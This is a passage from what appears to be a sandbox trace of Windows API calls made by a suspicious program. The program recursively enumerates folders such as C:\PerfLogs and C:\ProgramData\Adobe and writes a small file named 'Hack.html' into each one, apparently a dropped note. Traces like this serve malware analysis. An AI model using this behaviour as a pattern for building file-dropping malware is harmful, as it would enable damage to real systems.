lpFileName="C:\\PerfLogs", nBufferLength=0x105, lpBuffer=0x39e934, lpFilePart=0x0 | out: lpBuffer="C:\\PerfLogs", lpFilePart=0x0) returned 0xb [0068.738] GetFullPathNameW (in: lpFileName="C:\\PerfLogs\\", nBufferLength=0x105, lpBuffer=0x39e908, lpFilePart=0x0 | out: lpBuffer="C:\\PerfLogs\\", lpFilePart=0x0) returned 0xc [0068.738] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*", lpFindFileData=0x39eb54 | out: lpFindFileData=0x39eb54) returned 0x59a8a8 [0068.738] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0068.738] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0068.738] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 0 [0068.738] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edec) returned 1 [0068.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edf8) returned 1 [0068.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ee2c) returned 1 [0068.739] GetFullPathNameW (in: lpFileName="C:\\PerfLogs", nBufferLength=0x105, lpBuffer=0x39e934, lpFilePart=0x0 | out: lpBuffer="C:\\PerfLogs", lpFilePart=0x0) returned 0xb [0068.739] GetFullPathNameW (in: lpFileName="C:\\PerfLogs\\", nBufferLength=0x105, lpBuffer=0x39e908, lpFilePart=0x0 | out: lpBuffer="C:\\PerfLogs\\", lpFilePart=0x0) returned 0xc [0068.739] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*", lpFindFileData=0x39eb54 | out: lpFindFileData=0x39eb54) returned 0x59a8a8 [0068.739] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0068.739] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0068.739] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 0 [0068.739] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edec) returned 1 [0068.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edf8) returned 1 [0068.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0068.740] GetFullPathNameW (in: lpFileName="C:\\PerfLogs\\Admin", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\PerfLogs\\Admin", lpFilePart=0x0) returned 0x11 [0068.740] GetFullPathNameW (in: lpFileName="C:\\PerfLogs\\Admin\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\PerfLogs\\Admin\\", lpFilePart=0x0) returned 0x12 [0068.740] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Admin\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x59a8a8 [0068.740] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.740] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0068.741] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0068.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0068.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0068.741] GetFullPathNameW (in: lpFileName="C:\\PerfLogs\\Admin", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\PerfLogs\\Admin", lpFilePart=0x0) returned 0x11 [0068.741] GetFullPathNameW (in: lpFileName="C:\\PerfLogs\\Admin\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\PerfLogs\\Admin\\", lpFilePart=0x0) returned 0x12 [0068.741] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Admin\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x59a8a8 [0068.741] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.741] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0068.742] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0068.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0068.742] GetFullPathNameW (in: lpFileName="C:\\PerfLogs\\Admin\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\PerfLogs\\Admin\\Hack.html", lpFilePart=0x0) returned 0x1b [0068.742] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0068.742] CreateFileW (lpFileName="C:\\PerfLogs\\Admin\\Hack.html" (normalized: "c:\\perflogs\\admin\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0068.742] GetFileType (hFile=0x258) returned 0x1 [0068.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0068.742] GetFileType (hFile=0x258) returned 0x1 [0068.742] WriteFile (in: hFile=0x258, lpBuffer=0x26f36d0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x26f36d0*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0068.745] GetFullPathNameW (in: lpFileName="C:\\PerfLogs\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e828, lpFilePart=0x0 | out: lpBuffer="C:\\PerfLogs\\Hack.html", lpFilePart=0x0) returned 0x15 [0068.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed1c) returned 1 [0068.745] CreateFileW (lpFileName="C:\\PerfLogs\\Hack.html" (normalized: "c:\\perflogs\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0068.746] GetFileType (hFile=0x258) returned 0x1 [0068.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed18) returned 1 [0068.746] GetFileType (hFile=0x258) returned 0x1 [0068.746] WriteFile (in: hFile=0x258, lpBuffer=0x26f5e28*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed98, lpOverlapped=0x0 | out: lpBuffer=0x26f5e28*, lpNumberOfBytesWritten=0x39ed98*=0xba, lpOverlapped=0x0) returned 1 [0068.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ee2c) returned 1 [0068.747] GetFullPathNameW (in: lpFileName="C:\\ProgramData", nBufferLength=0x105, lpBuffer=0x39e934, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData", lpFilePart=0x0) returned 0xe [0068.747] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\", nBufferLength=0x105, lpBuffer=0x39e908, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\", lpFilePart=0x0) returned 0xf [0068.747] FindFirstFileW (in: lpFileName="C:\\ProgramData\\*", lpFindFileData=0x39eb54 | out: lpFindFileData=0x39eb54) returned 0x59a8a8 [0068.748] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0068.748] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0068.748] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0068.748] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0068.748] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0068.749] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0068.749] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0068.749] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0068.749] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0068.749] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0068.750] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0068.750] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0068.750] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0068.750] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0068.750] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 0 [0068.750] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.751] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edec) returned 1 [0068.751] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edf8) returned 1 [0068.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ee2c) returned 1 [0068.751] GetFullPathNameW (in: lpFileName="C:\\ProgramData", nBufferLength=0x105, lpBuffer=0x39e934, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData", lpFilePart=0x0) returned 0xe [0068.751] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\", nBufferLength=0x105, lpBuffer=0x39e908, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\", lpFilePart=0x0) returned 0xf [0068.751] FindFirstFileW (in: lpFileName="C:\\ProgramData\\*", lpFindFileData=0x39eb54 | out: lpFindFileData=0x39eb54) returned 0x59a8a8 [0068.751] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0068.751] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0068.751] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0068.751] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0068.752] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0068.752] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0068.752] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0068.752] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0068.752] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0068.752] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0068.752] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0068.752] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0068.753] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0068.753] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0068.753] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 0 [0068.753] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edec) returned 1 [0068.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edf8) returned 1 [0068.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0068.753] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe", lpFilePart=0x0) returned 0x14 [0068.753] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\", lpFilePart=0x0) returned 0x15 [0068.753] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x59a8a8 [0068.754] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.754] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.754] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.754] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0068.754] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0068.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0068.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0068.755] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe", lpFilePart=0x0) returned 0x14 [0068.755] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\", lpFilePart=0x0) returned 0x15 [0068.755] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x59a8a8 [0068.755] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.755] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.755] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.755] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0068.755] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.755] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0068.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0068.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0068.756] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x1c [0068.756] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\Acrobat\\", lpFilePart=0x0) returned 0x1d [0068.756] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a8a8 [0068.756] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.756] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.756] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0068.756] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0068.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0068.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0068.757] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x1c [0068.757] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\Acrobat\\", lpFilePart=0x0) returned 0x1d [0068.757] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a8a8 [0068.757] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.757] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.757] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0068.757] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0068.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0068.758] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0068.758] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\Acrobat\\10.0", lpFilePart=0x0) returned 0x21 [0068.758] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\", lpFilePart=0x0) returned 0x22 [0068.758] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a8a8 [0068.758] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.758] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.758] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0068.759] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.759] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0068.759] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0068.759] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0068.759] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\Acrobat\\10.0", lpFilePart=0x0) returned 0x21 [0068.759] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\", lpFilePart=0x0) returned 0x22 [0068.759] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a8a8 [0068.759] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.759] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.759] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0068.759] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0068.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0068.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0068.760] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate", lpFilePart=0x0) returned 0x2b [0068.760] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\", lpFilePart=0x0) returned 0x2c [0068.760] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a8a8 [0068.768] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0068.768] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0068.769] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0068.769] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0068.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0068.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0068.769] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate", lpFilePart=0x0) returned 0x2b [0068.769] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\", lpFilePart=0x0) returned 0x2c [0068.769] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a8a8 [0068.769] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0068.769] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0068.770] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0068.770] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0068.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0068.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0068.770] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security", lpFilePart=0x0) returned 0x34 [0068.770] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\", lpFilePart=0x0) returned 0x35 [0068.770] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a8a8 [0068.770] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0068.771] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0068.771] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0068.771] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0068.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0068.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0068.771] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security", lpFilePart=0x0) returned 0x34 [0068.771] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\", lpFilePart=0x0) returned 0x35 [0068.771] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a8a8 [0068.772] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0068.772] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0068.772] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0068.772] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0068.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0068.772] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\Hack.html", lpFilePart=0x0) returned 0x3e [0068.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) 